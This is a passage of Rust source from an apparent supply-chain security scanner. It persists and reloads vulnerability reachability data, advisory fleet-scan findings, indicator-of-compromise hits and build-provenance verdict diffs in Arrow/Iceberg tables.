let caps: Vec<String> = symbols.iter().map(|s| s.3.clone()).collect();
let eps: Vec<bool> = symbols.iter().map(|s| s.4).collect();
let batch = RecordBatch::try_new(
Arc::new(scip_symbols_schema()),
vec![
str_array(snaps),
str_array(ids),
str_array(disp),
str_array(pkg),
str_array(caps),
Arc::new(BooleanArray::from(eps)) as ArrayRef,
],
)
.context("build scip_symbols batch")?;
self.append(TABLE_SCIP_SYMBOLS, batch)
}
/// Read a snapshot's SCIP symbols as `(id, display, package, caps_csv,
/// is_entrypoint)` — the read side of [`append_scip_symbols`], for reconstructing
/// a [`WorldSnapshot`]. Absent table ⇒ no symbols.
pub fn read_scip_symbols(
&self,
snapshot: &str,
) -> Result<Vec<(String, String, String, String, bool)>> {
let cols = ["id", "display", "package", "capabilities", "is_entrypoint"];
let res: Result<Vec<RecordBatch>> = self.rt.block_on(async {
let t = self
.inner
.table(&self.qualified(TABLE_SCIP_SYMBOLS))
.await?;
Ok(
t.read_filtered(&ScanFilter::eq("snapshot", snapshot), &cols)
.await?,
)
});
let batches = match res {
Ok(b) => b,
Err(e) if is_missing_table(&e) => return Ok(Vec::new()),
Err(e) => return Err(e),
};
let mut out = Vec::new();
for batch in &batches {
let (id, disp, pkg, caps) = (
str_col(batch, "id"),
str_col(batch, "display"),
str_col(batch, "package"),
str_col(batch, "capabilities"),
);
let ep = batch
.column_by_name("is_entrypoint")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
for i in 0..batch.num_rows() {
let g =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push((
g(id),
g(disp),
g(pkg),
g(caps),
ep.map(|a| a.value(i)).unwrap_or(false),
));
}
}
Ok(out)
}
/// Reconstruct a [`crate::scip::WorldSnapshot`] from the warehouse — its symbols
/// (`scip_symbols`), call graph (`call_edges`), package graph (`dep_edges`), and
/// the vulnerable sinks (`vuln_symbols` → [`crate::scip::VulnSink`] via
/// [`load_vuln_sinks`](Self::load_vuln_sinks)). This is what makes the b1
/// reachable-vuln join runnable off persisted data (the Mímir lens's input).
#[cfg(feature = "scip")]
pub fn load_world_snapshot(&self, snapshot: &str) -> Result<crate::scip::WorldSnapshot> {
use crate::scip::{CallEdge, Capability, DepEdge, Symbol, WorldSnapshot};
let mut snap = WorldSnapshot::new(snapshot);
for (id, display, package, caps, is_ep) in self.read_scip_symbols(snapshot)? {
let mut sym = Symbol::new(id, package);
sym.display = display;
sym.is_entrypoint = is_ep;
sym.capabilities = caps.split(',').filter_map(Capability::from_label).collect();
snap.symbols.push(sym);
}
snap.calls = self
.read_call_edges(snapshot)?
.into_iter()
.map(|(f, t)| CallEdge::new(f, t))
.collect();
snap.dep_edges = self
.read_dep_edges(snapshot)?
.into_iter()
.map(|(f, t)| DepEdge::new(f, t))
.collect();
snap.vuln_sinks = self.load_vuln_sinks(snapshot)?;
Ok(snap)
}
/// **The b1 reachable-vuln join, wired end-to-end.** Reconstruct the snapshot and
/// run the A8 gate: returns `(reachable, suppressed)` — the reachable vulnerable
/// symbols (RED, at the advisory severity — a CVE'd symbol transitively CALLED
/// from an entrypoint) and the present-but-unreachable ones the gate demotes
/// (Info). `reachable` is the ranked-red set the Mímir graph marks; the split is
/// the 80–90%-FP kill the design promises.
#[cfg(feature = "scip")]
pub fn reachable_vuln_findings(
&self,
snapshot: &str,
) -> Result<(Vec<crate::core::Finding>, Vec<crate::core::Finding>)> {
let snap = self.load_world_snapshot(snapshot)?;
Ok((
crate::scip::reachability_gated_vulns(&snap),
crate::scip::unreachable_vulns(&snap),
))
}
/// Record a behaviour-delta between two world snapshots.
pub fn record_behavior_delta(
&self,
from_snapshot: &str,
to_snapshot: &str,
kind: &str,
summary: &str,
) -> Result<()> {
let batch = RecordBatch::try_new(
Arc::new(behavior_deltas_schema()),
vec![
str_array(vec![from_snapshot.to_string()]),
str_array(vec![to_snapshot.to_string()]),
str_array(vec![kind.to_string()]),
str_array(vec![summary.to_string()]),
int_array(vec![now_micros()]),
],
)
.context("build behavior_deltas batch")?;
self.append(TABLE_BEHAVIOR_DELTAS, batch)
}
/// Record a tripwire firing (a rule/algorithm that flagged an anomaly).
pub fn record_tripwire_event(
&self,
tripwire: &str,
severity: Severity,
id: &str,
summary: &str,
snapshot: &str,
) -> Result<()> {
let batch = RecordBatch::try_new(
Arc::new(tripwire_events_schema()),
vec![
str_array(vec![tripwire.to_string()]),
str_array(vec![severity_str(severity).to_string()]),
str_array(vec![id.to_string()]),
str_array(vec![summary.to_string()]),
str_array(vec![snapshot.to_string()]),
int_array(vec![now_micros()]),
],
)
.context("build tripwire_events batch")?;
self.append(TABLE_TRIPWIRE_EVENTS, batch)
}
// ── CDC / change-sensing seam ───────────────────────────────────────────
/// Monotonic count of commits across the whole catalog — poll this to notice
/// *that* the warehouse changed since a value you held, cheaply, before doing
/// any per-table delta read.
pub fn commit_seq(&self) -> Result<u64> {
self.rt
.block_on(self.inner.catalog().commit_seq())
.map_err(|e| anyhow::anyhow!("skade catalog commit_seq: {e}"))
}
/// The current snapshot id of a table (the `to` you pass to
/// [`table_delta`](Self::table_delta) next time; remember it per table).
pub fn current_snapshot_id(&self, table: &str) -> Result<Option<i64>> {
let t = self.rt.block_on(self.inner.table(&self.qualified(table)))?;
Ok(t.current_snapshot_id())
}
/// The rows **added** to `table` between snapshot `from` (exclusive; `None` =
/// from the beginning) and the table's current snapshot — skade's CDC read,
/// straight off the manifest layer. Returns `(batches, to_snapshot_id)`;
/// persist `to_snapshot_id` as the next `from`. (Identity-deletes are exposed
/// by skade's `DeltaPlan`; this convenience returns the added rows + the new
/// watermark, which is what the world-delta watcher polls.)
pub fn table_delta(
&self,
table: &str,
from: Option<i64>,
) -> Result<(Vec<RecordBatch>, Option<i64>)> {
self.rt.block_on(async {
let t = self.inner.table(&self.qualified(table)).await?;
let Some(to) = t.current_snapshot_id() else {
return Ok((Vec::new(), None));
};
if from == Some(to) {
return Ok((Vec::new(), Some(to)));
}
let (batches, _plan) = t.read_delta(from, to).await?;
Ok((batches, Some(to)))
})
}
// ── internals ───────────────────────────────────────────────────────────
fn append(&self, table: &str, batch: RecordBatch) -> Result<()> {
#[cfg(feature = "testmatrix")]
let rows = batch.num_rows();
let res = self.rt.block_on(async {
let mut t = self.inner.table(&self.qualified(table)).await?;
t.append(std::slice::from_ref(&batch)).await?;
Ok::<_, anyhow::Error>(())
});
// Introspection marker — the Iceberg writer reports each table append to
// the test matrix (both success and a failed write).
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/iceberg-writer",
"table_append",
res.is_ok(),
&format!("append {rows} row(s) → {table}"),
);
res
}
}
/// Engine B capture: persist a [`WorldSnapshot`](crate::scip::WorldSnapshot) into
/// the `world_snapshots` + `dep_edges` + `scip_symbols` tables in one call.
/// Available only when both `scip` (the graph types) and `warehouse` are on.
#[cfg(feature = "scip")]
impl Warehouse {
/// Capture a whole [`WorldSnapshot`](crate::scip::WorldSnapshot): the snapshot
/// row, its dep-graph edges, and its SCIP symbol facts.
pub fn capture_world_snapshot(&self, snap: &crate::scip::WorldSnapshot) -> Result<()> {
self.record_world_snapshot(&snap.id, "", snap.dep_nodes.len() as i64)?;
let edges: Vec<(String, String)> = snap
.dep_edges
.iter()
.map(|e| (e.from.clone(), e.to.clone()))
.collect();
self.append_dep_edges(&snap.id, &edges)?;
// The SYMBOL call graph (caller→callee) — the `call_edges` input the b1
// reachable-vuln join walks. Was dropped on capture; without it a reloaded
// snapshot had no reachability closure.
let calls: Vec<(String, String)> = snap
.calls
.iter()
.map(|e| (e.from.clone(), e.to.clone()))
.collect();
self.append_call_edges(&snap.id, &calls)?;
let symbols: Vec<(String, String, String, String, bool)> = snap
.symbols
.iter()
.map(|s| {
let caps = s
.capabilities
.iter()
.map(|c| c.label())
.collect::<Vec<_>>()
.join(",");
(
s.id.clone(),
s.display.clone(),
s.package.clone(),
caps,
s.is_entrypoint,
)
})
.collect();
self.append_scip_symbols(&snap.id, &symbols)?;
Ok(())
}
/// Persist a computed [`BehaviorDelta`](crate::scip::BehaviorDelta): one
/// `behavior_deltas` row per finding (kind = finding id), plus a
/// `tripwire_events` row, so the world-delta site has the full event stream.
pub fn record_behavior_delta_findings(&self, delta: &crate::scip::BehaviorDelta) -> Result<()> {
for f in &delta.findings {
self.record_behavior_delta(&delta.from, &delta.to, &f.id, &f.summary)?;
self.record_tripwire_event(&f.id, f.severity, &f.id, &f.summary, &delta.to)?;
}
Ok(())
}
}
/// True when `e` is skade/iceberg's "table does not exist" — so a fleet/delta scan
/// over an SBOM nornir hasn't captured yet degrades to "no components", not an error.
fn is_missing_table(e: &anyhow::Error) -> bool {
let s = format!("{e:#}");
s.contains("TableNotFound") || s.contains("does not exist")
}
/// The ecosystem assumed for an `sbom_components` row until nornir adds an
/// ecosystem column (its SBOM is `cargo metadata` today — see nornir §6).
pub const DEFAULT_ECOSYSTEM: &str = "cargo";
/// One fleet-scan hit: a component in a repo matched by an advisory. Flat +
/// cloneable for the nornir Security pane / a report.
///
/// `kev` and `summary` ride along because the **b5 verdict** ([`crate::baddie`])
/// needs them: `kev` is the in-the-wild escalation and `summary` carries the
/// `[public-exploit]` marker + the yank remediation. Carrying them on the finding is
/// what lets [`Warehouse::append_vuln_findings`] persist a *decided* verdict instead
/// of leaving the Mímir lens to re-derive it from id prefixes.
#[derive(Debug, Clone, PartialEq)]
pub struct FleetFinding {
pub repo: String,
pub ecosystem: String,
pub name: String,
pub version: String,
pub advisory_id: String,
pub severity: Severity,
/// CISA KEV / ENISA EUVD confirmed exploited-in-the-wild (b3).
pub kev: bool,
/// The advisory summary — carries the `[public-exploit]` marker and the
/// `; upgrade to X` yank remediation the verdict ranks on.
pub summary: String,
}
/// One persisted `vuln_findings` row — a fleet finding **with modgunn's decided b5
/// verdict on it**. This is the join-ready contract the Mímir lens consumes: `purl`
/// joins `sbom_components` directly, and `verdict`/`axis`/`rank` are read, never
/// re-derived. `verdict` is a [`crate::core::Decision`] label
/// (`Block`=refuse 🔴 / `Warn`=hold 🟠 / `Pass`=act 🟢) and `axis` a
/// [`crate::baddie::BaddieAxis`] label — both parseable back with their `from_label`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct StoredFinding {
pub repo: String,
/// `pkg:{ecosystem}/{name}@{version}` — the `sbom_components` join key.
pub purl: String,
pub advisory_id: String,
pub severity: String,
/// `Block` / `Warn` / `Pass` — refuse / hold / act.
pub verdict: String,
/// The `baddie::BaddieAxis` label that produced the verdict.
pub axis: String,
/// Evidence-ladder position; higher sorts first within a verdict bucket.
pub rank: u8,
}
impl StoredFinding {
/// The baddie label for the stored verdict — `refuse` / `hold` / `act`, or
/// `unknown` for an unrecognized label (never a silent `act`: a schema drift must
/// not read back as clean).
pub fn label(&self) -> &'static str {
match self.verdict.as_str() {
"Block" => "refuse",
"Warn" => "hold",
"Pass" => "act",
_ => "unknown",
}
}
}
/// One **b6** hit: a workspace observable that matched the active-malware bad-list,
/// carrying modgunn's decided verdict. `indicator` is the corpus row that matched —
/// not necessarily equal to `observable`, since an IPv4 observable can match by CIDR
/// containment (a Spamhaus DROP block), and the consumer needs to show WHICH bad
/// network it fell into.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct IocHit {
pub observable: String,
pub kind: String,
pub indicator: String,
pub threat: String,
pub source: String,
pub verdict: crate::baddie::BaddieVerdict,
}
impl FleetFinding {
/// The b5 verdict for this finding at a given reachability. The ONE decision
/// point — [`crate::baddie::classify`] — so the CLI, the persisted
/// `vuln_findings` row and the Mímir lens can never disagree.
pub fn verdict(&self, reach: crate::baddie::Reachability) -> crate::baddie::BaddieVerdict {
crate::baddie::classify(
&self.advisory_id,
self.severity,
self.kev,
&self.summary,
reach,
)
}
}
/// The structural delta between two persisted world snapshots — the result of the
/// **#24 world time-travel two-point diff** ([`Warehouse::world_diff`]). `entered`
/// and `left` are the dep-graph `(from_node, to_node)` edges that appeared in / were
/// gone from snapshot `to` relative to `from`, each sorted for a stable record.
#[derive(Debug, Clone, PartialEq, Eq, Default)]
pub struct WorldEdgeDiff {
pub from: String,
pub to: String,
pub entered: Vec<(String, String)>,
pub left: Vec<(String, String)>,
}
impl WorldEdgeDiff {
/// `true` when the two snapshots have an identical dep-graph edge set.
pub fn is_unchanged(&self) -> bool {
self.entered.is_empty() && self.left.is_empty()
}
/// The distinct node keys that **entered** the world (appear as an endpoint of an
/// entered edge but of no surviving/left edge on the `from` side is not tracked
/// here — this is the endpoint set of the entered edges), sorted + deduped.
pub fn entered_nodes(&self) -> Vec<String> {
Self::endpoints(&self.entered)
}
/// The distinct node keys that appear as an endpoint of a **left** edge, sorted +
/// deduped.
pub fn left_nodes(&self) -> Vec<String> {
Self::endpoints(&self.left)
}
fn endpoints(edges: &[(String, String)]) -> Vec<String> {
let mut v: Vec<String> = edges
.iter()
.flat_map(|(f, t)| [f.clone(), t.clone()])
.collect();
v.sort();
v.dedup();
v
}
}
/// One build-provenance VERIFY verdict row (Tier-1 bug #2): the outcome of opening
/// + cryptographically verifying a znippy-sealed `<artifact>.build-provenance.znippy`.
/// Flat + cloneable, mirroring [`FleetFinding`]. The `provenance-verify`
/// `ProvenanceVerification` maps straight into this via [`Self::from_verification`].
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct BuildProvenanceVerdict {
/// The provenance record's UUID.
pub artifact_id: String,
/// The repo the record claims (query scope).
pub repo: String,
/// The verified artifact content hash.
pub blob_sha256: String,
/// The verified signer identity (empty when unverified).
pub signer: String,
/// Whether the seal genuinely verified.
pub verified: bool,
/// Human reason — "verified …" or the exact rejection cause.
pub reason: String,
/// Capture time (micros since epoch).
pub ts_micros: i64,
}
impl BuildProvenanceVerdict {
/// Build a verdict row, stamping the current time.
pub fn new(
artifact_id: impl Into<String>,
repo: impl Into<String>,
blob_sha256: impl Into<String>,
signer: Option<String>,
verified: bool,
reason: impl Into<String>,
) -> Self {
Self {
artifact_id: artifact_id.into(),
repo: repo.into(),
blob_sha256: blob_sha256.into(),
signer: signer.unwrap_or_default(),
verified,
reason: reason.into(),
ts_micros: now_micros(),
}
}
/// Project a `provenance::verify` verdict into a warehouse row.
#[cfg(feature = "provenance-verify")]
pub fn from_verification(v: &crate::provenance::ProvenanceVerification) -> Self {
Self::new(
v.artifact_id.clone(),
v.repo.clone(),
v.blob_sha256.clone(),
v.signer.clone(),
v.verified,
v.reason.clone(),
)
}
}
/// Reconstruct [`BuildProvenanceVerdict`] rows from `build_provenance` batches, in
/// physical (append) order. The caller scopes/sorts as it needs.
fn verdicts_from_batches(batches: &[RecordBatch]) -> Vec<BuildProvenanceVerdict> {
let mut out = Vec::new();
for batch in batches {
let (aid, repo, blob, signer, reason) = (
str_col(batch, "artifact_id"),
str_col(batch, "repo"),
str_col(batch, "blob_sha256"),
str_col(batch, "signer"),
str_col(batch, "reason"),
);
let verified_col = batch
.column_by_name("verified")
.and_then(|c| c.as_any().downcast_ref::<BooleanArray>());
let ts_col = batch
.column_by_name("ts_micros")
.and_then(|c| c.as_any().downcast_ref::<Int64Array>());
for i in 0..batch.num_rows() {
let get =
|c: Option<&StringArray>| c.map(|a| a.value(i).to_string()).unwrap_or_default();
out.push(BuildProvenanceVerdict {
artifact_id: get(aid),
repo: get(repo),
blob_sha256: get(blob),
signer: get(signer),
verified: verified_col.map(|a| a.value(i)).unwrap_or(false),
reason: get(reason),
ts_micros: ts_col.map(|a| a.value(i)).unwrap_or(0),
});
}
}
out
}
/// One artifact's VERIFY-verdict **transition** between two provenance snapshots —
/// the `before`/`after` rows for an `artifact_id` present in both, whose verdict
/// (verified flag / signer / reason) is not identical.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ProvenanceTransition {
pub artifact_id: String,
pub before: BuildProvenanceVerdict,
pub after: BuildProvenanceVerdict,
}
impl ProvenanceTransition {
/// The alarming signal: an artifact that VERIFIED before now fails to verify.
pub fn is_regression(&self) -> bool {
self.before.verified && !self.after.verified
}
/// The reassuring signal: a once-rejected artifact now verifies.
pub fn is_recovery(&self) -> bool {
!self.before.verified && self.after.verified
}
/// The signer (builder) identity changed between the two verdicts — a
/// builder-takeover / key-rotation signal even when the verified flag is stable.
pub fn signer_changed(&self) -> bool {
self.before.signer != self.after.signer
}
}
/// The **provenance-diff** between two snapshots of the build-provenance ledger
/// ([`Warehouse::provenance_diff`]): which artifacts gained an attestation, lost one,
/// or had their VERIFY verdict transition. Each vec is sorted by `artifact_id` for a
/// stable, diffable record.
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct ProvenanceLedgerDelta {
/// Artifacts attested in `to` but absent in `from` (newest verdict per id).
pub added: Vec<BuildProvenanceVerdict>,
/// Artifacts attested in `from` but absent in `to`.
pub removed: Vec<BuildProvenanceVerdict>,
/// Artifacts in both whose newest verdict changed.
pub changed: Vec<ProvenanceTransition>,
}
impl ProvenanceLedgerDelta {
/// `true` when the two snapshots carry an identical newest-verdict-per-artifact set.
pub fn is_unchanged(&self) -> bool {
self.added.is_empty() && self.removed.is_empty() && self.changed.is_empty()
}
/// The transitions that are **regressions** (verified → not-verified) — the
/// gate-worthy subset a promotion check blocks on.
pub fn regressions(&self) -> Vec<&ProvenanceTransition> {
self.changed.iter().filter(|t| t.is_regression()).collect()
}
}
/// Reduce a raw (multi-row, append-order) ledger read to the **newest verdict per
/// `artifact_id`** — the row with the greatest `ts_micros` (ties broken by the later
/// physical position, which `entry`-overwrite on equal-or-greater ts yields). This is
/// an artifact's effective state at the snapshot the rows were read as-of.
fn newest_per_artifact(
rows: &[BuildProvenanceVerdict],
) -> std::collections::BTreeMap<String, BuildProvenanceVerdict> {
let mut by_id: std::collections::BTreeMap<String, BuildProvenanceVerdict> =
std::collections::BTreeMap::new();
for row in rows {
match by_id.get(&row.artifact_id) {
Some(prev) if prev.ts_micros > row.ts_micros => {}
_ => {
by_id.insert(row.artifact_id.clone(), row.clone());
}
}
}
by_id
}
/// Pure two-snapshot provenance-ledger diff: reduce each side to its newest verdict
/// per artifact, then partition the union of artifact ids into added / removed /
/// changed (a verdict transition). Sorted by `artifact_id`. Testable without a
/// warehouse — [`Warehouse::provenance_diff`] feeds it two as-of reads.
pub fn provenance_ledger_delta(
old: &[BuildProvenanceVerdict],
new: &[BuildProvenanceVerdict],
) -> ProvenanceLedgerDelta {
let old_map = newest_per_artifact(old);
let new_map = newest_per_artifact(new);
let mut delta = ProvenanceLedgerDelta::default();
for (id, after) in &new_map {
match old_map.get(id) {
None => delta.added.push(after.clone()),
// A changed verdict = anything about the outcome moved. `ts_micros` is a
// capture timestamp, not part of the verdict, so compare the meaningful
// fields (verified / signer / reason / blob / repo) — a re-verify that
// reproduces the same outcome is NOT a transition.
Some(before) if !same_verdict(before, after) => {
delta.changed.push(ProvenanceTransition {
artifact_id: id.clone(),
before: before.clone(),
after: after.clone(),
});
}
Some(_) => {}
}
}
for (id, before) in &old_map {
if !new_map.contains_key(id) {
delta.removed.push(before.clone());
}
}
delta
.added
.sort_by(|a, b| a.artifact_id.cmp(&b.artifact_id));
delta
.removed
.sort_by(|a, b| a.artifact_id.cmp(&b.artifact_id));
delta
.changed
.sort_by(|a, b| a.artifact_id.cmp(&b.artifact_id));
delta
}
/// Two verdicts describe the same outcome (ignoring the capture timestamp).
fn same_verdict(a: &BuildProvenanceVerdict, b: &BuildProvenanceVerdict) -> bool {
a.verified == b.verified
&& a.signer == b.signer
&& a.reason == b.reason
&& a.blob_sha256 == b.blob_sha256
&& a.repo == b.repo
}
/// Extract `(repo, name, version)` rows from `sbom_components` batches, deduped —
/// the append-only table keeps every snapshot's rows, so a fleet read collapses
/// them by coordinate (per-snapshot-latest selection is a later refinement).
fn components_from_batches(batches: &[RecordBatch]) -> Vec<(String, String, String)> {
// Dedup on `&str` borrowed straight out of the Arrow buffers (zero-copy): only
// the *surviving* unique coordinate pays one `String` allocation each, instead
// of the old two-per-row (a `to_string` for the row + a `clone` for the set).
let mut seen: std::collections::HashSet<(&str, &str, &str)> = std::collections::HashSet::new();
let mut out = Vec::new();
for batch in batches {
let (repo, name, version) = (
str_col(batch, "repo"),
str_col(batch, "name"),
str_col(batch, "version"),
);
for i in 0..batch.num_rows() {
// `StringArray::value` borrows straight out of the Arrow buffer (no copy).
let r = repo.map(|a| a.value(i)).unwrap_or("");
let n = name.map(|a| a.value(i)).unwrap_or("");
let v = version.map(|a| a.value(i)).unwrap_or("");
if seen.insert((r, n, v)) {
out.push((r.to_string(), n.to_string(), v.to_string()));
}
}
}
out
}
/// Match each `(repo, name, version)` component against `db` (range-native via
/// [`Advisory::matches`]), one [`FleetFinding`] per (component, advisory) hit,
/// through the chosen [`EngineKind`] (A = linear scan, B = inverted index). The
/// engine only changes HOW the matching advisories are found — the findings are
/// identical across A and B, so a caller can pick B for a big-db fleet scan without
/// changing results (see `.nornir/engine-benchmarks.md`).
fn scan_components(
comps: &[(String, String, String)],
db: &AdvisoryDb,
kind: EngineKind,
) -> Vec<FleetFinding> {
// The engine is `Send + Sync`, built once and shared read-only across cores.
let engine = crate::engine::build(kind, db);
// Fan the `components × advisories` matching across all cores on the SHARED
// gatling engine (no rayon, no modgunn pool): one worker per component, each
// emitting that component's findings into its own slot. `gatling_for_each`
// returns the per-component `Vec`s in original `0..n` order, so flattening
// reproduces the sequential output byte-for-byte — the production scan now
// saturates the box instead of walking one core.
let per_component: Vec<Vec<FleetFinding>> = gatling_for_each(comps.len(), 0, |i| {
let (repo, name, version) = &comps[i];
let art = crate::core::ArtifactRef {
ecosystem: DEFAULT_ECOSYSTEM.to_string(),
name: name.clone(),
version: version.clone(),
blob_sha256: String::new(),
};
engine
.matching(&art)
.into_iter()
.map(|adv| FleetFinding {
repo: repo.clone(),
ecosystem: DEFAULT_ECOSYSTEM.to_string(),
name: name.clone(),
version: version.clone(),
advisory_id: adv.id.clone(),
severity: adv.severity,
kev: adv.kev,
summary: adv.summary.clone(),
})
.collect()
});
per_component.into_iter().flatten().collect()
}
const CVE_COLS: [&str; 15] = [
"id",
"ecosystem",
"package",
"affected_versions",
"severity",
"summary",
"epss",
"kev",
"db_rev",
"ranges",
"aliases",
"withdrawn",
"source",
"cvss_vector",
"cwe",
];
/// Natural (numeric-aware) order-key for an advisory `db_rev`, so the *latest*
/// generation is selected correctly: a lexical `.max()` puts `"rev-9"` above
/// `"rev-10"` (stale db → missed CVE / false PASS). The rows carry no monotonic
/// commit-seq / timestamp column (see [`cve_advisories_schema`]), so we order by
/// the rev string's trailing integer: split off the run of trailing ASCII digits
/// and compare `(prefix, number)`; a rev with no trailing digits keeps its whole
/// text as the prefix with number `0`, so it falls back to a lexical compare.
fn rev_sort_key(rev: &str) -> (&str, u128) {
let prefix_len = rev.trim_end_matches(|c: char| c.is_ascii_digit()).len();
let (prefix, digits) = rev.split_at(prefix_len);
// Saturate an absurdly long digit run rather than wrap or drop it.
let num = if digits.is_empty() {
0
} else {
digits.parse::<u128>().unwrap_or(u128::MAX)
};
(prefix, num)
}
/// One persisted A23 behaviour analysis, read back by
/// [`Warehouse::load_package_behaviors`]: the ecosystem-tagged coords + the full
/// [`PackageBehavior`] feature vector (field-identical to what was stored) + the
/// derived VERDICT (worst severity + finding ids) + the write timestamp.
#[derive(Debug, Clone, PartialEq)]
pub struct BehaviorRecord {
/// Which ecosystem front-end folded the metadata (`npm`/`pypi`/`pyproject`/`setupcfg`).
pub ecosystem: String,
/// The A23 feature vector — round-trips field-identical to the stored one.
pub behavior: PackageBehavior,
/// The strongest finding severity (`None` ⇒ clean) the vector folds into.
pub worst_severity: Option<Severity>,
/// The finding ids the vector generated (queryable), in `findings()` order.
pub finding_ids: Vec<String>,
/// Write time (µs since epoch); the "latest generation wins" ordering key.
pub ts_micros: i64,
}
/// Split a comma-joined column back into its parts, treating an empty string as an
/// empty list (so a `PackageBehavior` with no install hooks / no sensitive APIs
/// round-trips to an empty `Vec`/`BTreeSet`, not a `[""]`).
fn split_csv(s: &str) -> Vec<String> {
if s.is_empty() {
Vec::new()
} else {
s.split(',').map(|x| x.to_string()).collect()
}
}
fn str_array(values: Vec<String>) -> ArrayRef {
Arc::new(StringArray::from(values)) as ArrayRef
}
fn int_array(values: Vec<i64>) -> ArrayRef {
Arc::new(Int64Array::from(values)) as ArrayRef
}
fn cve_advisories_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("id", DataType::Utf8, false),
Field::new("ecosystem", DataType::Utf8, false),
Field::new("package", DataType::Utf8, false),
// comma-joined exact affected versions ("" = all versions)
Field::new("affected_versions", DataType::Utf8, false),
Field::new("severity", DataType::Utf8, false),
Field::new("summary", DataType::Utf8, false),
// EPSS exploit-probability (nullable = unknown) + CISA-KEV flag — the
// exploit-intelligence the verdict escalates on (scan::Policy).
Field::new("epss", DataType::Float64, true),
Field::new("kev", DataType::Boolean, false),
// the advisory_db_rev cache-key component; latest rev wins on read
Field::new("db_rev", DataType::Utf8, false),
// schema v2 — range-native + dedup + provenance. JSON-encoded OSV range
// events (the source of truth Engine A matches against), comma-joined alias
// ids (CVE↔GHSA↔RUSTSEC dedup key), the withdrawn flag, and the source feed.
// Drift-tolerant on read (str_col returns "" when a column is absent), so an
// older v1 table still loads.
Field::new("ranges", DataType::Utf8, false),
Field::new("aliases", DataType::Utf8, false),
Field::new("withdrawn", DataType::Boolean, false),
Field::new("source", DataType::Utf8, false),
// NVD enrichment (P3): CVSS vector string + comma-joined CWE ids.
Field::new("cvss_vector", DataType::Utf8, false),
Field::new("cwe", DataType::Utf8, false),
])
}
fn world_snapshots_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("id", DataType::Utf8, false),
Field::new("ts_micros", DataType::Int64, false),
Field::new("root", DataType::Utf8, false),
Field::new("node_count", DataType::Int64, false),
])
}
fn dep_edges_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("from_node", DataType::Utf8, false),
Field::new("to_node", DataType::Utf8, false),
])
}
fn call_edges_schema() -> ArrowSchema {
// Same shape as dep_edges, but the nodes are SYMBOL ids (caller→callee).
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("from_node", DataType::Utf8, false),
Field::new("to_node", DataType::Utf8, false),
])
}
fn scip_symbols_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("id", DataType::Utf8, false),
Field::new("display", DataType::Utf8, false),
Field::new("package", DataType::Utf8, false),
// comma-joined capability labels
Field::new("capabilities", DataType::Utf8, false),
Field::new("is_entrypoint", DataType::Boolean, false),
])
}
fn behavior_deltas_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("from_snapshot", DataType::Utf8, false),
Field::new("to_snapshot", DataType::Utf8, false),
Field::new("kind", DataType::Utf8, false),
Field::new("summary", DataType::Utf8, false),
Field::new("ts_micros", DataType::Int64, false),
])
}
fn vuln_findings_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("repo", DataType::Utf8, false),
Field::new("ecosystem", DataType::Utf8, false),
Field::new("name", DataType::Utf8, false),
Field::new("version", DataType::Utf8, false),
// purl — the canonical CPE/purl key the Mímir lens joins to sbom_components.
Field::new("purl", DataType::Utf8, false),
Field::new("advisory_id", DataType::Utf8, false),
Field::new("severity", DataType::Utf8, false),
// ── the b5 verdict modgunn DECIDES (so the lens never re-derives it) ──
// `verdict` is `core::Decision::as_str()` — Block=refuse 🔴 / Warn=hold 🟠 /
// Pass=act 🟢 (the ONE constellation-wide three-way vocabulary, not a twin);
// `axis` is the `baddie::BaddieAxis` that fired; `rank` is the evidence-ladder
// position used to sort WITHIN a verdict bucket.
Field::new("verdict", DataType::Utf8, false),
Field::new("axis", DataType::Utf8, false),
Field::new("rank", DataType::Int64, false),
])
}
fn ioc_indicators_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("kind", DataType::Utf8, false),
Field::new("value", DataType::Utf8, false),
Field::new("threat", DataType::Utf8, false),
Field::new("source", DataType::Utf8, false),
Field::new("tags", DataType::Utf8, false),
])
}
fn vuln_symbols_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("snapshot", DataType::Utf8, false),
Field::new("advisory", DataType::Utf8, false),
Field::new("ecosystem", DataType::Utf8, false),
Field::new("package", DataType::Utf8, false),
// "" ⇒ whole-package vulnerability (no function-level narrowing).
Field::new("symbol", DataType::Utf8, false),
Field::new("severity", DataType::Utf8, false),
])
}
fn scorecard_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("subject", DataType::Utf8, false),
Field::new("overall", DataType::Float64, false),
Field::new("maintained", DataType::Boolean, false),
Field::new("branch_protection", DataType::Boolean, false),
Field::new("signed_releases", DataType::Boolean, false),
Field::new("dangerous_workflow", DataType::Boolean, false),
])
}
fn behavior_features_schema() -> ArrowSchema {
ArrowSchema::new(vec![
// package coords: the ecosystem it was folded from + the package name
Field::new("ecosystem", DataType::Utf8, false),
Field::new("subject", DataType::Utf8, false),
// the A23 feature vector (comma-joined for the Vec/Set fields)
Field::new("install_hooks", DataType::Utf8, false),
Field::new("network_in_install", DataType::Boolean, false),
Field::new("url_count", DataType::Int64, false),
Field::new("max_token_entropy", DataType::Float64, false),
Field::new("hex_blob", DataType::Boolean, false),
Field::new("sensitive_apis", DataType::Utf8, false),
// the derived VERDICT: worst finding severity ("" = clean) + its finding ids
Field::new("worst_severity", DataType::Utf8, false),
Field::new("finding_ids", DataType::Utf8, false),
Field::new("ts_micros", DataType::Int64, false),
])
}
fn build_provenance_schema() -> ArrowSchema {
ArrowSchema::new(vec![
// the provenance record UUID + the repo it claims (query scope)
